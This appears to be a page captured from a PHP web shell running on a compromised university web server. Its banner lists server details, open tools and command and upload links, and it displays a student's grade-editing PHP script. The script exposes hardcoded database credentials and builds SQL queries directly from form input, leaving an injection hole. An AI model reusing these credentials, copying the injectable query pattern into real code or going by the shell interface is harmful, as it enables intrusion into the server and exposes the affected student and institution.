|
Server IP : 172.16.15.8 / Your IP : 18.118.119.77 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/cngray/www/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
session_start();
if(!isset($_SESSION['username'])){
header("location:BBWelcome.php");
} else {
?>
<html>
<center>
<?php
$username = $_SESSION['username'];
$pass = $_SESSION['pass'];
$check = $_SESSION['check'];
$course = $_SESSION['course'];
$student = $_POST['student'];
$assignment = $_POST['assignment'];
$grade = $_POST['NGrade'];
$student= $_SESSION['student'];
$_SESSION['student'] = $student;
$_SESSION['course'] = $course;
$_SESSION['username'] = $username;
$_SESSION['pass'] = $pass;
$_SESSION['check'] = 4;
$host = 'localhost';
$user = 'cngray';
$passwd = 'vwccscngray';
$database = 'cngray';
$connect = mysqli_connect($host, $user, $passwd);
mysqli_select_db($connect, $database);
$person = explode(" ", $student);
$First = $person[0];
$Last = $person[1];
$FL = $First[0];
$USERNAME = $FL.$Last;
$USERNAME = strtolower($USERNAME);
$course = str_replace(' ','', $course);
$query = "select * from $USERNAME";
$Result = mysqli_query($connect, $query) or die(mysqli_error($connect));
if($Result)
{
if(empty($grade))
{
$DQuery = "delete from $USERNAME where AssName like '$assignment'";
$DResult = mysqli_query($connect, $DQuery) or die(mysel_error());
if($DResult)
{?>
<script type = "text/javascript">
<!--
window.location = "BBAssign.php"
-->
</script>
<?php
}
else
print "<br> Could Not Delete Assignment $assignment<br>";
}
else
{
$UQuery ="update $USERNAME set Grade = '$grade' where AssName like '$assignment'";
$UResult = mysqli_query($connect, $UQuery) or die(mysqli_error($connect));
if($UResult)
{?>
<script type = "text/javascript">
<!--
window.location = "BBAssign.php"
-->
</script>
<?php
}
else
print "<br>Could Not Update $assignment Grade";
}
}
else
print "<br>Could Not get Student<br>";
?>
<br><br><INPUT Type=button VALUE='Back' onClick = 'location.href = "BBAssign.php"'>
<?php
mysqli_close($connect);
}
?>